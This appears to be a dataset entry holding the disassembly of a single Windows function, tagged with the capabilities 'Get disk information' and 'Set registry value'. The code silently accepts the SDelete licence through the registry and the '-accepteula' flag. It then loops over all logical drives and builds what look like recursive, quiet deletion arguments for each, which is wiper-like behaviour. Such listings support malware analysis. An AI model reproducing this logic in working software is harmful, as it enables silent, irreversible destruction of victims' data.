Function at 0x403e00
Capabilities:
Get disk information
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422f42
mov eax, dword fs:[0]
push eax
sub esp, 0x37c
mov eax, dword [0x42f060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0x208
lea eax, [ebp - 0x318]
push 0
push eax
call fcn.0040c380
add esp, 0xc
lea eax, [ebp - 0x318]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 0x31c], 0
lea edx, [ebp - 0x318]
push dword [ebp - 0x31c]
lea ecx, [ebp - 0x334]
call fcn.00408060
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x34c]
mov byte [ebp - 0x31c], 0
push dword [ebp - 0x31c]
call fcn.004080d0
add esp, 8
mov byte [ebp - 4], 2
lea edi, [ebp - 0x334]
mov esi, dword [ebp - 0x320]
cmp esi, 8
mov eax, dword [ebp - 0x324]
cmovae edi, dword [ebp - 0x334]
mov ecx, edi
lea edx, [edi + eax*2]
call fcn.00402a70
cmp eax, edx
je 0x403f0b
nop
movzx ecx, word [eax]
cmp ecx, 0x5c
je 0x403edd
cmp ecx, 0x2f
jne 0x403ee4
add eax, 2
cmp eax, edx
jne 0x403ed0
cmp eax, edx
je 0x403f0b
nop dword [eax + eax]
movzx esi, word [edx - 2]
cmp esi, 0x5c
je 0x403f05
cmp esi, 0x2f
je 0x403f05
add edx, 0xfffffffe
cmp eax, edx
jne 0x403ef0
mov esi, dword [ebp - 0x320]
sub edx, edi
sar edx, 1
cmp dword [ebp - 0x324], edx
jb 0x404453
cmp esi, 8
mov dword [ebp - 0x324], edx
lea eax, [ebp - 0x334]
cmovae eax, dword [ebp - 0x334]
xor ecx, ecx
mov byte [ebp - 4], 1
mov word [eax + edx*2], cx
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x334]
call fcn.00402b50
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x338]
cmp ecx, 8
jb 0x403f91
mov edx, dword [ebp - 0x34c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404458
push ecx
push edx
call fcn.0040a9f0
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x334]
mov ecx, esp
mov dword [ebp - 0x36c], ecx
push eax
call fcn.004058f0
call fcn.00403b60
add esp, 0x18
lea ecx, [ebp - 0x334]
call fcn.004036e0
test al, al
jne 0x404015
call fcn.004069f0
push eax
call fcn.00406d90
mov ecx, dword [ebp - 0x320]
add esp, 4
cmp ecx, 8
jb 0x40400d
mov edx, dword [ebp - 0x334]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404003
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40445d
push ecx
push edx
call fcn.0040a9f0
add esp, 8
or eax, 0xffffffff
jmp 0x404438
push 0
lea eax, [ebp - 0x368]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWARESysinternalsSDelete
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40406b
push 4
lea eax, [ebp - 0x31c]
mov dword [ebp - 0x31c], 1
push eax
push 4
push 0
push str.EulaAccepted
push dword [ebp - 0x368]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4040bd
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
mov dword [ebp - 0x36c], esp
push 0xc
movups xmmword [ecx], xmm0
push str.__accepteula
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00407380
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
lea eax, [ebp - 0x334]
mov dword [ebp - 0x370], ecx
push eax
call fcn.004058f0
mov byte [ebp - 4], 0
call fcn.00403850
add esp, 0x30
lea esi, [ebp - 0x110]
push pe_nt_image_headers32
mov eax, esi
mov dword [ebp - 0x31c], esi
push 0
push eax
call fcn.0040c380
add esp, 0xc
mov eax, esi
push eax
push 0x80
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp word [ebp - 0x110], 0
je 0x4043fa
nop word [eax + eax]
mov ecx, esi
mov dword [ebp - 0x33c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x338], 0
movups xmmword [ebp - 0x34c], xmm0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404123
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x34c]
call fcn.00407380
mov byte [ebp - 4], 4
mov eax, 0x7ffffffe
mov edx, dword [ebp - 0x33c]
sub eax, edx
cmp eax, 9
jb 0x404467
cmp dword [ebp - 0x338], 8
lea ecx, [ebp - 0x34c]
mov eax, dword [ebp - 0x34c]
lea esi, [ebp - 0x388]
cmovae ecx, eax
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x370], ecx
mov edi, 7
lea ecx, [edx + 9]
mov dword [ebp - 0x378], 0
mov dword [ebp - 0x374], 0
xorps xmm0, xmm0
mov dword [ebp - 0x368], ecx
movups xmmword [ebp - 0x388], xmm0
cmp ecx, edi
jbe 0x40424a
mov edi, ecx
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x4041d0
mov eax, 0x7fffffff
mov edi, 0x7ffffffe
add eax, eax
jmp 0x4041f2
cmp edi, 0xa
mov eax, 0xa
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x404462
add eax, eax
cmp eax, 0x1000
jb 0x404225
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x404462
push ecx
call fcn.0040a9c0
add esp, 4
test eax, eax
je 0x404458
mov ecx, dword [ebp - 0x368]
lea esi, [eax + 0x23]
mov edx, dword [ebp - 0x33c]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x404244
test eax, eax
je 0x404242
push eax
call fcn.0040a9c0
mov ecx, dword [ebp - 0x368]
add esp, 4
mov edx, dword [ebp - 0x33c]
mov esi, eax
jmp 0x404244
xor esi, esi
mov dword [ebp - 0x388], esi
movups xmm0, xmmword [str._r__s__q]
mov dword [ebp - 0x378], ecx
lea ecx, [esi + 0x12]
mov dword [ebp - 0x374], edi
movups xmmword [esi], xmm0
mov ax, word [0x42b18c]
mov word [esi + 0x10], ax
lea eax, [edx + edx]
push eax
push dword [ebp - 0x370]
push ecx
call fcn.0040bdf0
mov eax, dword [ebp - 0x33c]
xor ecx, ecx
mov word [esi + eax*2 + 0x12], cx
push 0x42b0d4
lea edx, [ebp - 0x388]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x364]
call fcn.00406920
add esp, 0x10
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x374]
cmp ecx, 8
jb 0x4042eb
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4042e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404458
push ecx
push edx
call fcn.0040a9f0
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x378], 0
xor eax, eax
mov dword [ebp - 0x370], esp
mov word [ebp - 0x388], ax
mov ecx, esp
lea eax, [ebp - 0x364]
mov dword [ebp - 0x374], 7
push eax
call fcn.004058f0
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
lea eax, [ebp - 0x334]
mov dword [ebp - 0x368], ecx
push eax
call fcn.004058f0
mov byte [ebp - 4], 7
call fcn.00403850
mov esi, dword [ebp - 0x31c]
add esp, 0x30
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404351
sub ecx, edx
mov byte [ebp - 4], 4
sar ecx, 1
lea esi, [esi + ecx*2]
mov ecx, dword [ebp - 0x350]
add esi, 2
mov dword [ebp - 0x31c], esi
cmp ecx, 8
jb 0x4043b0
mov edx, dword [ebp - 0x364]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4043a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40445d
push ecx
push edx
call fcn.0040a9f0
add esp, 8
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x338]
cmp eax, 8
jb 0x4043f0
mov edx, dword [ebp - 0x36c]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4043e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40445d
push ecx
push edx
call fcn.0040a9f0
add esp, 8
cmp word [esi], 0
jne 0x404100
mov ecx, dword [ebp - 0x320]
cmp ecx, 8
jb 0x404436
mov edx, dword [ebp - 0x334]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40442c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40445d
push ecx
push edx
call fcn.0040a9f0
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a9ad
mov esp, ebp
pop ebp
ret
call fcn.00406750
call fcn.00410ac4
call fcn.00410ac4
call fcn.00401200
call fcn.004012a0
int3